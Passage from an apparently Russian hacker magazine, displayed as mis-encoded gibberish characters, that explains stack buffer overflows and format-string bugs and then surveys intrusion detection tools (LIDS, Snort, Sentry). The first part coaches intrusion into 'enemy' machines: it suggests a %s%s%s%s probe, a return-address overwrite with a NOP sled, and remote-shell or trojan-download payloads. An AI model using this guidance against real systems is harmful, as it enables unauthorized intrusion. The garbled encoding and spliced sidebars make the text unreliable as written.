íà «âåðøèíó» ñòåêà (â çàâèñèìîñ-
òè îò ïðîöåññîðà, ìîæåò âîîáùå
îòñóòñòâîâàòü). Âòîðîé - íà íàñòî-

ÿùåå ïîëîæåíèå ïîñëåäíåé çàïè-
ñè. Òî åñòü êîãäà ìû êëàäåì ÷èñ-
ëî, ïîëîæåíèå ñòåêà óäàëÿåòñÿ îò
âåðøèíû. Êîãäà âûòàñêèâàåì -
ïðèáëèæàåòñÿ. Ñòåê ìîæåò ðàñòè
êàê ââåðõ ïî àäðåñàì ïàìÿòè
(êðàéíå ðåäêî), òàê è âíèç. Êðîìå
òîãî, ñóùåñòâóåò íåñêîëüêî ðàç-
íûõ îðãàíèçàöèé ñòåêà.

ÏÎÑËÅÄÍÈÉ, ÍÀ ÂÛÕÎÄ!
Íàèáîëåå ðàñïðîñòðàíåííûé âèä
ñòåêà - ýòî LIFO (Last In First Out,

ïîñëåäíèì ïðèøåë - ïåðâûì óøåë).
Åñëè ñðàâíèòü ñ ëèñòêàìè, òî êëàäóò
ëèñòêè äðóã íà äðóãà, à áåðóò íà÷è-
íàÿ ñ âåðõíåãî. Åñëè âçÿòü ïîñëåä-
íèé ëèñòèê è ïîïûòàòüñÿ åùå ðàç
âûòàùèòü äàííûå, òî ïðîèñõîäèò
èñ÷åðïàíèå ñòåêà. Òî åñòü âåðøèíà
è ïîçèöèÿ íå ìîãóò ïðîõîäèòü äðóã
ñêâîçü äðóãà. Åñòü åùå âèä ñòåêà
FIFO, ïîõîæèé íà êîíâåéåð. Òàêîé
ñòåê, êàê ïðàâèëî, èìååò ÷åòêèé ðàç-
ìåð, è ïðè çàíåñåíèè â ñòåê ïîçè-
öèÿ çàïèñè ïåðåäâèãàåòñÿ âïåðåä,
ïðè âûòàñêèâàíèè âåðøèíà ïåðåä-
âèãàåòñÿ â òîì æå íàïðàâëåíèè. Òî
åñòü îíè ïðîñòî õîäÿò ïî êðóãó. Ñèñ-
òåìà î÷åíü íàïîìèíàåò ðàáîòó ñ ïî-
òîêàìè äàííûõ.

×ÒÎ ÒÓÄÀ ÏÎÏÀÄÀÅÒ?
Ëþáîé ÿçûê ïðîãðàììèðîâàíèÿ ïîä
ëþáîé ïëàòôîðìîé èñïîëüçóåò
ôóíêöèè. Õîëîñòûõ ôóíêöèé, êîòî-
ðûå íå ïðèíèìàþò è íå âîçâðàùàþò
çíà÷åíèÿ, î÷åíü ìàëî. Ïîýòîìó
ïðåæäå âñåãî ïðè îáðàùåíèè ê
ôóíêöèè â ñòåê çàíîñèòñÿ ïåðåäà-
âàåìîå çíà÷åíèå. Çàòåì àäðåñ âîçâ-
ðàòà, òî åñòü ìåñòî ïðîãðàììû, îòêó-
äà ôóíêöèÿ áûëà çàïóùåíà. Âî âðå-
ìÿ ðàáîòû ôóíêöèÿ âûãðåáàåò âñå
äàííûå èç ñòåêà, òàê èëè èíà÷å èñ-
ïîëüçóåò èõ, çàòåì çàïèñûâàåò âû-
õîäíûå äàííûå (åñëè ýòî íå áóëå-
âîå çíà÷åíèå), è ïðîãðàììà âîçâðà-
ùàåòñÿ â òî÷êó, èç êîòîðîé áûëà çà-
ïóùåíà ôóíêöèÿ. Ïðè ýòîì íåò ðàç-
íèöû - ìàñòäàé ýòî èëè ïðàâèëüíàÿ
ñèñòåìà. Â îáîèõ ñëó÷àÿõ ðàáîòà ñî
ñòåêîì èäåò íà óðîâíå àññåìáëåðà,
à îí åäèí äëÿ âñåõ îñåé. Ñàìîå
ãëàâíîå, ÷òî â àññåìáëåðå íèêàê íå
ïðîâåðÿåòñÿ, à òî ëè êîëè÷åñòâî
áàéòèêîâ çàïèñàíî â ñòåê ïðè ïåðå-
äà÷å â ôóíêöèþ (èëè ïðè âîçâðàòå
èç íåå). Ïîýòîìó, åñëè ïðîãðàììåð
íå ïðîâåðèë âñå ðó÷êàìè, åñòü ðå-
àëüíàÿ ìàçà çàëèòü òóäà ÷óòü áîëü-
øå îæèäàåìîãî.

ÈÌÅÅÌ ÈÑÕÎÄÍÈÊ
Ìîæíî íàéòè ñëàáîå ìåñòî â êîäå
ïðîãè ïðîñòûì ïåðåáîðîì. Òóò çàïè-
ñàòü ëîãèí â 20 êèëî, òàì ïðîïèñàòü
ïàðîëü â 300 êèëî. Èëè óñòàíîâèòü
ñîåäèíåíèå è ïîñëàòü 0x00, òî åñòü
íè÷åãî íå ïîñëàòü. Ýòî õîðîøî ïîä
ìàñòäàåì, ãäå íåäîñòóïíû èñõîäíè-
êè. Äëÿ ëèíóõà âñå íåñêîëüêî ïðî-
ùå. Ñàìîå ëåãêîå - ýòî íàéòè ïàò÷
äëÿ ëèíóõà è ïîñìîòðåòü, ÷òî æå îí
ìåíÿåò. Â ïðîãðàììàõ íà Ñ åñòü íåñ-
êîëüêî ñòàíäàðòíûõ ñëàáûõ ìåñò.
Íàïðèìåð, èìååòñÿ ôóíêöèÿ ëîãèíà,
â êîòîðîé ñàì ëîãèí ïðåäñòàâëåí
êàê ìàññèâ char ðàçìåðîì â 200
áàéò. À òîò, êòî âûçûâàåò ýòó ôóíê-
öèþ, íå ïðîâåðÿåò äëèíó. Òóò ìû è
ïèøåì â ëîãèíå 5-6 êèëî òåêñòà è
ñìîòðèì, ãäå ñãëþ÷èëî. Ýòà àòàêà
íàçûâàåòñÿ buffer overflow, è ïðè
çàïèñè ìóñîðà ïîëó÷àåòñÿ DoS.

Åñòü åùå îäíà ñìåøíàÿ àòàêà - òîò
ñàìûé «ñðûâ ñòåêà». Äëÿ íåå íå íà-
äî ïèñàòü â ñòåê, äîñòàòî÷íî âçÿòü

Ê ñîæàëåíèþ, íèêîìó íå äàíî ïîíÿòü, ÷òî òàêîå ñòåê. Òû âñå äîëæåí óâèäåòü ñàì.
Ñúåøü êðàñíóþ ïèëþëþ - è ÿ ïîêàæó òåáå äèçàññåìáëåð è ÷òî òâîðèòñÿ íà ñàìîì äåëå
â êîìïüþòåðå. Ñúåøü ñèíþþ - è òû ïðîñíåøüñÿ â ïðèâû÷íîì ìèðå îêîí...
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×

×ÒÎ ÒÀÊÎÅ BUFFER OVERFLOW 
È ÊÀÊ ÝÒÎ ÞÇÀÒÜ?

Â ÿçûêàõ âû-
ñîêîãî óðîâíÿ
ñòåê íàïðÿ-
ìóþ íå èñ-
ïîëüçóåòñÿ.

Ãëàâíîå - ïå-
ðåçàïèñàòü
àäðåñ âîçâðà-
òà è ïîìåñ-
òèòü åãî â
íà÷àëî øåëë-
êîäà.

Îðãàíèçàöèÿ ñòåêà LIFO â ïàìÿòè

Îðãàíèçàöèÿ ñòåêà FIFO â ïàìÿòè



ëèøíåãî. Íàïðèìåð, åñòü òàêàÿ
ôóíêöèÿ printf. ×òîáû âûâåñòè òâîå
èìÿ íà ýêðàí, ïðàâèëüíî áûëî áû íà-
ïèñàòü printf(«%S»,name). Íî ìîæíî
è ïðîùå: printf(name). Îäíàêî ïåðå-
äàé âìåñòî ñâîåãî èìåíè ñòðîêó
%s%s%s%s - è òû ÿâíî óâèäèøü
êèøêè ñòåêà, ïîòîìó ÷òî âñå ôóíê-
öèè ïîëüçóþò îäèí è òîò æå ñòåê.
Äàííàÿ äûðêà íàçûâàåòñÿ format
string vulnerability (íàðóøåíèå ôîð-
ìàòà ñòðîêè). Ïðîñòî ïðîãðàììåð äà-
æå íå ïîäóìàë î òîì, ÷òî âíóòðè èìå-
íè ìîæåò áûòü ôîðìàòèðîâàííàÿ
ñòðîêà. Ðåçóëüòàòîì ìîæåò áûòü âñå,
÷òî óãîäíî. Ìîæåøü óâèäåòü ëîãèí è
øèôðîâàííûé ïàðîëü èëè êó÷ó èí-

òåðåñíîé âíóòðåííåé èíôû ïðîãðàì-
ìû. Ìîæåøü ïðîñòî ñîðâàòü ñòåê è
óñòðîèòü DoS, åñëè ôóíêöèÿ íå âû-
ðàâíèâàåò ñòåê ïðè âûõîäå.

ÏÎËÈÃÎÍ
Ëó÷øå âñåãî ïðè ïîäãîòîâêå ê âîéíå
óñòðîèòü ëîêàëüíûé ïîëèãîí, â òî÷-
íîñòè ïîâòîðÿþùèé ëàíäøàôò ïîëÿ
áèòâû. Åñòü äâà âàðèàíòà. Áîëåå äî-
ðîãîé - ýòî êóïèòü ñåáå âòîðîé êîìï
è ïðåâðàòèòü åãî âî âðàæåñêèé, óñòà-
íîâèâ íóæíóþ îñü è íàñòðîèâ íóæ-
íûå ïðîãè. Áîëåå äåøåâûé - ïîñòà-
âèòü ñåáå ýìóëÿ (VMWare èëè Virtual
PC) è íàñòðîèòü ïîä íèì âñå, ÷òî íà-
äî. Ãëàâíîå - íå çàáóäü ïðî ñåðâèñ-
ïàêè è ïàò÷è. Åñëè åñòü 5 ñêàíåðîâ,
èñïîëüçóé âñå. Ïîòîìó ÷òî ÷åì áëè-
æå òû çàòî÷èøü ñâîé êîìï ê âðàæåñ-
êîìó, òåì áîëåå ïðåäñêàçóåìûé ðå-
çóëüòàò òû ïîëó÷èøü.

Åñëè òâîé êîìï íàìåðòâî âèñíåò îò
ýêñïëîèòà, òî íå èñêëþ÷åíî, ÷òî è

íàñòîÿùàÿ æåðòâà ïîñòóïèò òàê æå.
Î÷åíü ðåäêî áûâàåò òàê, ÷òî ëîêàëü-
íî âñå âèñèò, à óäàëåííî âñå îñòàåò-
ñÿ â ïîðÿäêå. ×àùå âñå áûâàåò íàî-
áîðîò: ëîêàëüíî âñå æóææèò è ëåòà-
åò, à ÷åðåç Èíåò ïðîèñõîäèò DoS, è
ïðèõîäèòñÿ æäàòü ðåçåòà.

ÑÀÌÎÄÅËÊÈ
Òû íàøåë ñóïåð-ïóïåð äûðêó. Èëè
ïðî÷èòàë ïðî íåå â ñåòè, íî íå íà-
øåë ýêñïëîèòà. Çíà÷èò, íàñòóïèëî
âðåìÿ ïèñàòü âñå ñàìîìó. Ðàçáåðåì
äûðêó ñ buffer overflow. Ñàìîå ãëàâ-
íîå äëÿ íàñ - ïåðåçàïèñàòü àäðåñ
âîçâðàòà è ïîìåñòèòü åãî â íà÷àëî
(èëè ñåðåäèíó) íàøåãî êîäà, êîòî-

ðûé ìû ïåðåäàäèì íà ìàøèíó. Êàê
ïèøåòñÿ ñàì øåëë-êîä, çäåñü îïè-
ñûâàòü íåò ñìûñëà, òàê êàê êàæäàÿ
êîíêðåòíàÿ äûðêà òðåáóåò îñîáîãî
ïîäõîäà.

Ñêàæó, ÷òî îñíîâíûõ ìåòîäîâ çàþ-
çàòü âîçìîæíîñòü ïåðåïîëíåíèÿ
áóôåðà íå òàê óæ ìíîãî. Äëÿ ëèíó-
õà ïðîùå âñåãî îðãàíèçîâàòü çà-
ïóñê øåëëà ñ ïåðåíàïðàâëåíèåì
ââîäà è âûâîäà íà óäàëåííûé êîìï.
Äëÿ ìàñòäàÿ ÷àñòî èñïîëüçóþò äî-
çàãðóçêó òðîÿíà èç ñåòè, ïîñêîëüêó
äëÿ çàêà÷èâàíèÿ óðëû äîñòàòî÷íî
îäíîãî âûçîâà WinAPI. Ïðîñòðàí-
ñòâà â ýêñïëîèòå âñåãäà íå õâàòàåò,
ïîýòîìó ëó÷øå ñäåëàòü ìàëåíüêèé
ýêñïëîèò è äîïèñàòü åãî ñïåðåäè êî-
äîì 0x90, ÷òî åñòü nop è äàñò íàì
çàïàñ íà ïðîìàõ ìèìî íà÷àëà øåëë-
êîäà â 2-3 áàéòà.

×òî æå ïðîèçîéäåò, êîãäà ìû ïåðå-
çàïèøåì àäðåñ âîçâðàòà? Ôóíêöèÿ,
îòðàáîòàâ, âìåñòî òîãî ÷òîáû âåð-

íóòüñÿ è ìàòåðèòü íàñ, âûïîëíèò
íàø êîä, êîòîðûé ìû åé ïåðåäàëè
âíóòðè íàøåãî äëèííîãî çàïðîñà.

ÃÄÅ ÂÇßÒÜ ÃÎÒÎÂÎÅ?
Åñëè òû íå î÷åíü ðóáèøü â àññåìá-
ëåðå, à òåáå ïðîñòî ïîçàðåç õî÷åòñÿ
ïîïàñòü íà ÷óæóþ ìàøèíêó, òî ìîæ-
íî ïîïûòàòüñÿ ïîèñêàòü â ñåòè ÷òî-
íèáóäü, ÷òî ñìîæåò ðàáîòàòü. Åñëè
ñêà÷àííûé èç ñåòè ýêñïëîèò íå ôó-
ðû÷èò òàê, êàê íàäî, íå óäèâëÿéñÿ. Â
ïîñëåäíåå âðåìÿ êðàéíå ðåäêî ïî-
ïàäàåòñÿ ïðîãà, êîòîðóþ íå íàäî
äîïèñûâàòü è â êîòîðîé íå íàäî ìå-
íÿòü ÷òî-íèáóäü ïåðåä êîìïèëÿöè-
åé. Ïðåæäå âñåãî òåáå íàäî çàñòà-
âèòü åå ñêîìïèëèòüñÿ. Íå ñîâåòóþ
òåáå äîâåðÿòü óæå ãîòîâûì áèíàð-
íèêàì. Êàê ïðàâèëî, èõ êîìïèëÿò
ïîä îïðåäåëåííûå öåëè, à àâòîðû
ýêñïëîèòîâ ðåäêî âûíîñÿò èõ íàñò-
ðîéêè íàðóæó êîäà. Ïðè âûáîðå
ñàéòà ëó÷øå îáðàòè âíèìàíèå íà

ïàãè õàê-êîìàíä - òàì ñêîðåå ïîÿâ-
ëÿþòñÿ ñâåæèå ïðîãðàììêè, è îíè
áîëåå ðàáîòîñïîñîáíû. Íå óäèâëÿé-
ñÿ, ÷òî ðîäíîé Êàñïåðñêèé áóäåò ðó-
ãàòüñÿ íà âñå ýêñïëîèòû, - ýòî íå
âèðü âíóòðè (÷òî òîæå íå èñêëþ÷å-
íî), ýòî, òàê ñêàçàòü, ñðåçàíèå
ñêðèïò êèäèñîâ. ×åëîâåê, êîòîðûé
ñàì íàïèñàë ýêñïëîèò èëè õîòÿ áû
ïîíÿë, êàê îí ðàáîòàåò, è ñàì ñîá-
ðàë åãî, áóäåò óâåðåí â òîì, ÷òî
ïðîãà áåçîïàñíà. Òå æå, äëÿ êîãî Ñ
ëèøü áóêâà àëôàâèòà, à àññåìáëåð
- ýòî ðóãàòåëüñòâî, ïðîñòî ïîáîÿòñÿ
çàïóñêàòü ýêñïëîèò èëè «âûëå÷àò»
åãî, ïîñëå ÷åãî îí ïîòåðÿåò âñå
ñâîè ñâîéñòâà.

ÑÑÛËÊÀ
Î÷åíü íåïëîõîé ñàéò - www.ussr-
back.com. Òàì ÷àñòî ïîÿâëÿþòñÿ
âïîëíå ðàáîòîñïîñîáíûå ýêçåìïëÿ-
ðû ñ èñõîäíèêàìè. Ïèøóò ðåáÿòà,
êàê ïðàâèëî, íà àññåìáëåðå.
www.securityfocus.com ðàíüøå áûë
åñëè íå ïåðâûì, òî îäíèì èç ëó÷-
øèõ ñàéòîâ äëÿ ïîèñêà îïèñàíèé è
ýêñïëîèòîâ. Â íàñòîÿùèé ìîìåíò íà
íåì ëåãêî íàéòè îïèñàíèÿ ñâåæèõ
äûðîê è ïàò÷è, è óæå â çàâèñèìîñòè
îò òîãî, ÷òî îíè ìåíÿþò, ìîæíî íà-
ïèñàòü ýêñïëîèò. Íå çàáûâàé, ðàçó-
ìååòñÿ, è ïðî ðîäíóþ àñòàëàâèñòó ñ
ïàêåò-øòîðìîì.

E
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Íå óäèâëÿéñÿ,
÷òî ðîäíîé
Êàñïåðñêèé

áóäåò ðóãàòü-
ñÿ íà âñå

ýêñïëîèòû, -
îí ñ÷èòàåò èõ

âèðÿìè.

Åñëè êëèåíò
ïåðåäàåò ñåðâå-
ðó ìèíèìóì 10
áàéò, ïðîâåðü,

÷òî áóäåò ñ
ïðîãîé ïðè ïóñ-

òîé ïåðåäà÷å.

Ãðàáëè â ñîëÿðêå

Êàðòèíêà ñ ñàéòà void.ru: 

ñðûâ ñòåêà â ìàñòäàå

Ãðàáëè â Àïà÷å (äî 1.32 âêëþ÷èòåëüíî)

Åñëè íóæíà ñèìâîëüíàÿ ñòðîêà, ýòî íå
çíà÷èò, ÷òî õâàòèò 1024 áàéòà, - íàéäóòñÿ

çàïèñàâøèå 50 êèëî.



Ñêàæè ìíå ïî ñåêðåòó, òû êîãäà-íèáóäü ÿáëîêè âîðîâàë? Íó, â äåòñòâå. À åùå êàêóþ-
íèáóäü ìåëî÷ü ñ ÷óæîãî îãîðîäà? À ñëó÷àëîñü òåáå íàðûâàòüñÿ íà òî, ÷òî çà çàáîðîì
âäðóã îêàçûâàëàñü ìèëàÿ òàêàÿ ñîáà÷êà, íó äîáåðìàí÷èê èëè íå ìåíåå ìèëûé
ðîòâåéëåð. Ìäà... ïðèÿòíîãî ìàëî.

ó òàê âîò. Âîçæåëàë òû
÷óæóþ ñèñòåìó õàê-
íóòü óäàëåííî. Íó òàì

ðàçâåäî÷êó ïðîâåë áîëåå-ìåíåå
ãðàìîòíî. Âûÿñíèë, êàêèå ñåðâèñû
ðàáîòàþò. Ïîòîì íà÷àë âñÿ÷åñêèå
àêòèâíûå äåéñòâèÿ. È... áàìö! Íè ôè-
ãà íå ïîëó÷àåòñÿ. Èëè òîãî õóæå -
òâîé ïðîâàéäåð òåáå çâîíèò è ñîîá-
ùàåò, ÷òî òû, òèïà, êîçåë è íåõîðî-
øåñòÿìè âñÿêèìè çàíèìàåøüñÿ.

Ñïðàøèâàåòñÿ, îòêóäà èíôîðìà-
öèÿ? Îòâå÷àþ: àäìèí óçëà, êîòîðûé
òû âçäðþ÷èòü ïûòàëñÿ, íå ñîâñåì
÷àéíèê, è ó íåãî â îãîðîäå ñèäèò
ñîáà÷êà. Íàçûâàåòñÿ åå ïîðîäà
Networl Intrusion Detection System -
ñèñòåìà îáíàðóæåíèÿ âòîðæåíèé
èç ñåòè (NIDS èëè ïðîñòî IDS).

ÊÀÊ ÐÀÁÎÒÀÞÒ IDS'Û?
Â ïðèðîäå ñóùåñòâóåò íåñêîëüêî
âèäîâ IDS. Ñèñòåìû îáíàðóæåíèÿ
àòàê íà ñåòåâîì óðîâíå êîíòðîëèðó-
þò ïàêåòû â ñåòåâîì îêðóæåíèè è
îáíàðóæèâàþò ïîïûòêè õàêåðà-êà-
êåðà ïðîíèêíóòü âíóòðü çàùèùàå-
ìîé ñèñòåìû (èëè ðåàëèçîâàòü àòà-
êó òèïà "îòêàç â îáñëóæèâàíèè").
Òèïè÷íûé ïðèìåð - ñèñòåìà, êîòî-
ðàÿ êîíòðîëèðóåò áîëüøîå ÷èñëî
TCP-çàïðîñîâ íà ñîåäèíåíèå (òàê
íàçûâàåìûé SYN-ïàêåò) ñî ìíîãèìè
ïîðòàì íà âûáðàííîì êîìïüþòåðå.
Òàêèì ìàêàðîì ïðîãðàììà îáíàðó-
æèâàåò, ÷òî êòî-òî ïûòàåòñÿ îñóùå-
ñòâèòü ñêàíèðîâàíèå TCP-ïîðòîâ.
Ñèñòåìà îáíàðóæåíèÿ àòàê íà ñåòå-
âîì óðîâíå (NIDS) ìîæåò çàïóñêàòü-
ñÿ ëèáî íà îòäåëüíîì êîìïüþòåðå,
êîòîðûé êîíòðîëèðóåò ñâîé
ñîáñòâåííûé òðàôèê, èëè íà âûäå-
ëåííîì êîìïüþòåðå, ïðîçðà÷íî
ïðîñìàòðèâàþùåì âåñü òðàôèê â
ñåòè (êîíöåíòðàòîð, ìàðøðóòèçà-
òîð). Îòìå÷ó, ÷òî "ñåòåâûå" IDS
êîíòðîëèðóþò ìíîãî êîìïüþòåðîâ,
òîãäà êàê äðóãèå ñèñòåìû îáíàðóæå-
íèÿ àòàê êîíòðîëèðóþò òîëüêî îäèí
(òîò, íà êîòîðîì îíè óñòàíîâëåíû).

Ñèñòåìû êîíòðîëÿ öåëîñòíîñòè
(System integrity verifiers, SIV) ïðîâå-
ðÿþò ñèñòåìíûå ôàéëû äëÿ òîãî,
÷òîáû îïðåäåëèòü, êîãäà õàêåð âíåñ
â íèõ èçìåíåíèÿ. Â ïðèíöèïå, ýòî ìà-
ëî èíòåðåñíî, åñëè ñèñòåìó âñêðûëè.
Íî, òåì íå ìåíåå, ïîçâîëÿåò äîâîëü-
íî áûñòðî îïðåäåëèòü, ÷òî ïîäâåðã-

ëîñü èçìåíåíèþ è, ñîîòâåòñòâåííî,
áûñòðî âîññòàíîâèòü ñèñòåìó.

Ìîíèòîðû ñèñòåìíûõ æóðíàëîâ
(Log-file monitors, LFM) êîíòðîëèðóþò
ðåãèñòðàöèîííûå ôàéëû, ñîçäàâàå-
ìûå ñåòåâûìè ñåðâèñàìè. Àíàëîãè÷-
íî NIDS, ýòè ñèñòåìû èùóò èçâåñòíûå
ïðèçíàêè àòàêè, òîëüêî â ôàéëàõ ðå-
ãèñòðàöèè, à íå â ñåòåâîì òðàôèêå,
êîòîðûå óêàçûâàþò íà òî, ÷òî çëîó-
ìûøëåííèê îñóùåñòâèë àòàêó. Òè-
ïè÷íûì ïðèìåðîì ÿâëÿåòñÿ ñèíòàê-
ñè÷åñêèé àíàëèçàòîð äëÿ log-ôàéëîâ
HTTP-ñåðâåðà, êîòîðûé èùåò õàêå-
ðîâ, ïûòàþùèõñÿ èñïîëüçîâàòü õîðî-
øî èçâåñòíûå óÿçâèìîñòè, íàïðèìåð,
ïðîâîäÿ àòàêó òèïà "phf".

ÑÎÔÒ?
Äëÿ îïåðàöèîííîé ñèñòåìû Linux
åñòü íåñêîëüêî ïðîãðàìì, ðåàëèçó-
þùèõ IDS. Åñòü êîììåð÷åñêèå è
î÷åíü äîðîãèå ñóïåð-ïóïåð-ïðî-
ôåññèîíàëüíûå ñèñòåìû (íàïðè-
ìåð, RealSecure êîìïàíèè Internet
Security Systems
(http://www.iss.net) ñòîèìîñòüþ â
ïàðó òûñÿ÷ áàêñîâ), à åñòü è ñâî-
áîäíûå èëè áåñïëàòíûå ïðîãðàììû
íà÷àëüíîãî óðîâíÿ.

Ñðåäè ñâîáîäíûõ ïðîãðàìì ïîïó-
ëÿðíîñòüþ ïîëüçóþòñÿ ñèñòåìû
LIDS (Linux Intrusion Detection
System, http://www.lids.org) è
Snort (http://www.snort.org). Ñðåäè
áåñïëàòíûõ ïîïóëÿðíà ñâÿçêà ïðîã-
ðàìì Portsentry, Hostsentry è
Logsentry êîìïàíèè Psionic.

LIDS
Îáçîð íà÷íó ñ LIDS. Ïî ñâîåìó ñó-
ùåñòâó LIDS îòíîñèòñÿ ê ñèñòåìàì
êîíòðîëÿ öåëîñòíîñòè. Âî âðåìÿ
ñâîåé ðàáîòû LIDS ñëåäèò çà ñîñòî-
ÿíèåì ôàéëîâîé ñèñòåìû, ñïðàâëÿ-
åòñÿ ñî ñïèñêàìè äîñòóïà è, â ñëó-
÷àå íåðàçðåøåííûõ äåéñòâèé, ñî-
îáùàåò àäìèíèñòðàòîðó î íàðóøå-
íèè öåëîñòíîñòè. Äàííàÿ ñèñòåìà
îòëè÷àåòñÿ òåì, ÷òî íà ñàìîì äåëå
ÿâëÿåòñÿ ïàò÷åì ê ÿäðó Linux. Ïîý-
òîìó äëÿ êàæäîé âåðñèè ÿäðà òðå-
áóåòñÿ ñâîÿ ðåàëèçàöèÿ LIDS, ÷òî
íå ñîâñåì óäîáíî. Ïëþñ ê íåé ïîñ-
òàâëÿåòñÿ óòèëèòà lidsadm äëÿ óï-
ðàâëåíèÿ. Íåñìîòðÿ íà ýòî, LIDS
ñ÷èòàåòñÿ äîâîëüíî ìîùíûì ñðåä-
ñòâîì ïðîòèâîñòîÿíèÿ àòàêàì èìåí-
íî áëàãîäàðÿ òîìó, ÷òî æåñòêî
êîíòðîëèðóåò âñå ïðîèñõîäÿùèå â
ñèñòåìå äåéñòâèÿ.

Â íàñòðîéêå LIDS î÷åíü íåïðîñò.
Äëÿ óñòàíîâêè ñíà÷àëà íóæíî íà
òâîå ÿäðî íàëîæèòü ïàò÷ (èìåííî
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×ÅÌ NIDS ÃÐÎÇÈÒ ÕÀÊÅÐÓ?

IDS ïðàêòè-
÷åñêè íå îáíà-
ðóæèâàþòñÿ
ñêàíåðàìè
ïîðòîâ. Êîñ-
âåííûì ïîäò-
âåðæäåíèåì
ìîæåò ñëó-
æèòü íåäîñ-
òóïíîñòü óçëà,
êîòîðûé çà ñå-
êóíäó äî ñêà-
íèðîâàíèÿ áûë
äîñòóïåí

Êîíôèãóðèì LIDS

SNORT, ëîâèì àòàêè



íà òâîþ âåðñèþ ÿäðà, èíà÷å íè ôè-
ãà íå çàðàáîòàåò), ñêîíôèãóðèòü
åãî è ïåðåñîáðàòü. Ñàìîå ãëàâíîå -
íå ïåðåãðóæàòüñÿ, ïîêà äî êîíöà íå
íàñòðîèøü LIDS, èíà÷å òåáå êîíåö.
Åñëè òû ðåøèøüñÿ çàþçàòü LIDS, òî
áóäü ãîòîâ ê òîìó, ÷òî òåáå ïðèäåò-
ñÿ î÷åíü ÷èòàòü ìíîãî äîêóìåíòà-
öèè. Õîðîøî, ÷òî â Ñåòè åå ìîðå, â
òîì ÷èñëå è íà ðóññêîì ÿçûêå.

Ñèñòåìó, íà êîòîðîé ñòîèò ãðàìîò-
íî íàñòðîåííûé LIDS, ïðàêòè÷åñêè
íåâîçìîæíî âñêðûòü ñ íàëåòó. Ñ
åãî ïîìîùüþ ìîæíî, íàïðèìåð, çà-
ùèòèòü ãîëîâíóþ ñòðàíèöó www-
ñåðâåðà îò äåôåéñèíãà, ïðåäîõðà-
íèòü ñèñòåìíûå æóðíàëû îò íåñà-
íêöèîíèðîâàííîãî èçìåíåíèÿ,
ñêðûòü êðèòè÷åñêèå ïðîöåññû â
ñïèñêå âûïîëíÿåìûõ çàäà÷, çàïðå-
òèòü âûïîëíåíèå ÿäåðíûõ ìîäóëåé
è ïðèëîæåíèé è ìíîãîå äðóãîå.

SNORT
Snort - ãîðàçäî ïðîùå, äà è çàíèìà-
åòñÿ îí ñîâñåì äðóãèì. Snort - ïðàê-
òè÷åñêèé ïðèìåð ñèñòåìû îáíàðó-
æåíèÿ âòîðæåíèé èç ñåòè. Äåìîí
ñèäèò â ïàìÿòè è ïðîñìàòðèâàåò
âåñü ñåòåâîé òðàôèê. Ïåðåõâà÷åí-
íûå ïàêåòû ïîñòóïàþò â àíàëèçà-
òîð, êîòîðûé íà îñíîâå íàáîðà ïðà-
âèë, îïðåäåëÿåìûõ àäìèíîì, ïðèíè-
ìàåò ðåøåíèå, ïðîèñõîäèò àòàêà
èëè îáû÷íàÿ ðàáîòà. Ê àíàëèçàòîðó

ìîãóò áûòü ïîäêëþ÷åíû ñòîðîííèå
ìîäóëè, ÷òîáû óâåëè÷èòü åãî ôóíê-
öèîíàëüíîñòü. Èíôîðìàöèÿ, ñîá-
ðàííàÿ àíàëèçàòîðîì, ïîñòóïàåò â
ñèñòåìó ïðåäóïðåæäåíèÿ è ðåãèñò-
ðèðîâàíèÿ. Òàêèì îáðàçîì ðàñïîç-
íàþòñÿ ðàçíîîáðàçíûå íàïàäåíèÿ
òèïà ïåðåïîëíåíèÿ áóôåðà, ñêðû-
òûõ ïðîñìîòðîâ ïîðòà, CGI-àòàê, ïî-
ïûòîê îïðåäåëåíèÿ OS è ò.ï.

Äëÿ óñïåøíîé ñáîðêè è óñòàíîâ-
êè íåîáõîäèìî íàëè÷èå áèáëèîòåêè
libpcap è óòèëèòû tcpdump. Íà ñàé-
òå äîñòóïíû èñõîäíûå òåêñòû snort
âåðñèè 2.0. Êîìïèëÿöèÿ è èíñòàë-
ëÿöèÿ ïðîáëåì íå âûçûâàþò. Âîë-
øåáíàÿ ñèëà êîìàíä configure;
make; make install ïðîñòî ÷óäåñà
òâîðèò. Çàòåì íóæíî ñîçäàòü êàòà-
ëîã (êàêîé-íèáóäü /var/log/snort)
äëÿ õðàíåíèÿ æóðíàëîâ.

Çàïóñê snort -? âûâåäåò òåáå ñïè-
ñîê êîìàíä. Òû åãî âíèìàòåëüíî
èçó÷èøü è íà÷íåøü íàñòðàèâàòü.
Snort âûïîëíÿåòñÿ â òðåõ ðàçëè÷-
íûõ ðåæèìàõ:

1. Ðåæèì ïàêåòíîãî ñíèôôåðà. Êîã-
äà Snort ðàáîòàåò â ýòîì ðåæèìå, îí
÷èòàåò è äåøèôðóåò âñå ñåòåâûå ïà-
êåòû è ôîðìèðóåò äàìï ê stdout (ýê-
ðàí). Äëÿ ïåðåâîäà snort â ðåæèì
ñíèôôåðà þçàé êëþ÷ -v: snort -v

2. Ðåæèì ðåãèñòðàöèè ïàêåòîâ.
Ýòîò ðåæèì çàïèñûâàåò ïàêåòû íà
äèñê è äåêîäèðóåò èõ â ASCII ôîðìàò.
snort -l < directory to log packets to >

3. Ðåæèì îáíàðóæåíèÿ âòîðæå-
íèé. Ýòîò ðåæèì ÿâëÿåòñÿ îñíîâ-
íûì. snort -dev -l <log directory> -h
<host|net> -c <config>

Snort î÷åíü âûãîäíî îòëè÷àåòñÿ
òåì, ÷òî ó àäìèíèñòðàòîðà åñòü âîç-
ìîæíîñòü ñîñòàâëåíèÿ ñâîèõ
ñîáñòâåííûõ ïðàâèë îáíàðóæåíèÿ.
Ýòî îçíà÷àåò î÷åíü áûñòðóþ ðåàê-
öèþ íà íîâûå òèïû àòàê è ïîÿâëåíèå
çàùèòíûõ ìåõàíèçìîâ. Â Ñåòè åñòü
ìíîãî èñòî÷íèêîâ, ñ êîòîðûõ ìîæíî
ñêà÷àòü íàáîðû ïðàâèë äëÿ snort.

TRYSENTRY
Ñàìàÿ ïðîñòàÿ, íî íå ìåíåå íàäåæ-
íàÿ ñèñòåìà îáíàðóæåíèÿ âòîðæå-
íèé ñîñòîèò àæ èç òðåõ ïðîãðàìì.
Âñå âìåñòå ýòî íàçûâàåòñÿ
Trysentry, à êîìïîíåíòû ïî îòäåëü-
íîñòè - Postsentry, Hostsentry è
Logsentry. Âñå òðè ïðîãðàììû ñà-
ìîñòîÿòåëüíû è ðàñïðîñòðàíÿþòñÿ
íåçàâèñèìî. Ðàçðàáàòûâàëà èõ
êîìïàíèÿ Psionic. Íûí÷å æå ýòó
